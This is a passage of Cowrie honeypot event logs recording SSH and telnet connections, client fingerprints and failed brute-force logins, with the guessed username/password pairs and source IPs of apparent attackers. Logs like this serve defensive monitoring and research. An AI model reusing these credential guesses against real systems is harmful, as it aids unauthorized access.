-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.177270Z","src_ip":"43.159.177.40","session":"3b32e42b9c8c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.202818Z","src_ip":"213.209.159.158","session":"fd57e15c8ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.211388Z","src_ip":"213.209.159.158","session":"fd57e15c8ce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1111","message":"login attempt [ali/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.458628Z","src_ip":"43.159.177.40","session":"3b32e42b9c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:02.540329Z","src_ip":"43.159.177.40","session":"3b32e42b9c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50606,"dst_ip":"159.203.135.109","dst_port":22,"session":"82deca8d6d5a","protocol":"ssh","message":"New connection: 159.203.92.129:50606 (159.203.135.109:22) [session: 82deca8d6d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:05.193322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:05.199464Z","src_ip":"159.203.92.129","session":"82deca8d6d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:05.239290Z","src_ip":"159.203.92.129","session":"82deca8d6d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ertyuiop","message":"login attempt [ansible/ertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:05.333238Z","src_ip":"159.203.92.129","session":"82deca8d6d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:06.339859Z","src_ip":"159.203.92.129","session":"82deca8d6d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00137090682983,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:09.968663Z","src_ip":"177.146.132.183","session":"fbe9e3feb7e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00113272666931,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:10.566398Z","src_ip":"177.146.132.183","session":"901cca18e9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176429748535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:10.843442Z","src_ip":"177.146.132.183","session":"157b1c749085","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volumio","message":"login attempt [root/volumio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:10.885888Z","src_ip":"213.209.159.158","session":"fd57e15c8ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":38620,"dst_ip":"10.17.0.5","dst_port":23,"session":"af30121f0a0c","protocol":"telnet","message":"New connection: 177.146.132.183:38620 (10.17.0.5:23) [session: af30121f0a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:11.411817Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb4657e9008","protocol":"telnet","message":"New connection: 62.171.135.55:56146 (159.203.135.109:23) [session: 8bb4657e9008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:11.510901Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":38605,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cc2f868bf0","protocol":"telnet","message":"New connection: 177.146.132.183:38605 (10.17.0.5:23) [session: 56cc2f868bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:11.855637Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:14.084491Z","src_ip":"213.209.159.158","session":"fd57e15c8ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56164,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4c04f5ff9c","protocol":"ssh","message":"New connection: 213.209.159.158:56164 (159.203.135.109:22) [session: be4c04f5ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:14.163135Z"}
{"eventid":"cowrie.session.closed","duration":30.478210926055908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:15.093513Z","src_ip":"62.171.135.55","session":"c46758744488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39944,"dst_ip":"159.203.135.109","dst_port":23,"session":"196b5053d18f","protocol":"telnet","message":"New connection: 62.171.135.55:39944 (159.203.135.109:23) [session: 196b5053d18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:16.150823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:16.664886Z","src_ip":"213.209.159.158","session":"be4c04f5ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:16.668570Z","src_ip":"213.209.159.158","session":"be4c04f5ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42366,"dst_ip":"159.203.135.109","dst_port":23,"session":"962025375280","protocol":"telnet","message":"New connection: 62.171.135.55:42366 (159.203.135.109:23) [session: 962025375280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:17.030806Z"}
{"eventid":"cowrie.session.closed","duration":30.482608556747437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:17.108887Z","src_ip":"62.171.135.55","session":"36048f1e01ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":38960,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f7f02d8a959","protocol":"ssh","message":"New connection: 156.227.233.77:38960 (159.203.135.109:22) [session: 3f7f02d8a959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:23.944880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:23.949239Z","src_ip":"156.227.233.77","session":"3f7f02d8a959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:24.115130Z","src_ip":"156.227.233.77","session":"3f7f02d8a959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5707f4a5ac5","protocol":"telnet","message":"New connection: 62.171.135.55:37402 (159.203.135.109:23) [session: e5707f4a5ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:24.767166Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Cloud@123","message":"login attempt [admin/Cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:24.803177Z","src_ip":"156.227.233.77","session":"3f7f02d8a959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:25.971373Z","src_ip":"156.227.233.77","session":"3f7f02d8a959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2014","message":"login attempt [root/vps2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:26.121842Z","src_ip":"213.209.159.158","session":"be4c04f5ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.003835678100586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:28.075680Z","src_ip":"62.171.135.55","session":"152488c76e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:29.668948Z","src_ip":"213.209.159.158","session":"be4c04f5ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55462,"dst_ip":"159.203.135.109","dst_port":22,"session":"41677247d032","protocol":"ssh","message":"New connection: 213.209.159.158:55462 (159.203.135.109:22) [session: 41677247d032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:29.764115Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53070,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92a739b4fde","protocol":"telnet","message":"New connection: 62.171.135.55:53070 (159.203.135.109:23) [session: c92a739b4fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:30.244074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:31.987483Z","src_ip":"213.209.159.158","session":"41677247d032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:31.991346Z","src_ip":"213.209.159.158","session":"41677247d032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vJSUURmRq","message":"login attempt [root/vJSUURmRq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:41.219219Z","src_ip":"213.209.159.158","session":"41677247d032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.700764417648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:42.211560Z","src_ip":"62.171.135.55","session":"8bb4657e9008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:44.855827Z","src_ip":"213.209.159.158","session":"41677247d032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8102,"dst_ip":"159.203.135.109","dst_port":22,"session":"443184a46763","protocol":"ssh","message":"New connection: 213.209.159.158:8102 (159.203.135.109:22) [session: 443184a46763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:44.947468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:47.073978Z","src_ip":"213.209.159.158","session":"443184a46763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:47.078068Z","src_ip":"213.209.159.158","session":"443184a46763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.183690071105957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:47.334412Z","src_ip":"62.171.135.55","session":"196b5053d18f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.118863582611084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:48.149523Z","src_ip":"62.171.135.55","session":"962025375280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"855c71bb77c5","protocol":"telnet","message":"New connection: 62.171.135.55:60686 (159.203.135.109:23) [session: 855c71bb77c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:49.589533Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"b583a6b4ca31","protocol":"ssh","message":"New connection: 159.203.92.129:36760 (159.203.135.109:22) [session: b583a6b4ca31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:50.245706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:50.249713Z","src_ip":"159.203.92.129","session":"b583a6b4ca31","protocol":"ssh"}
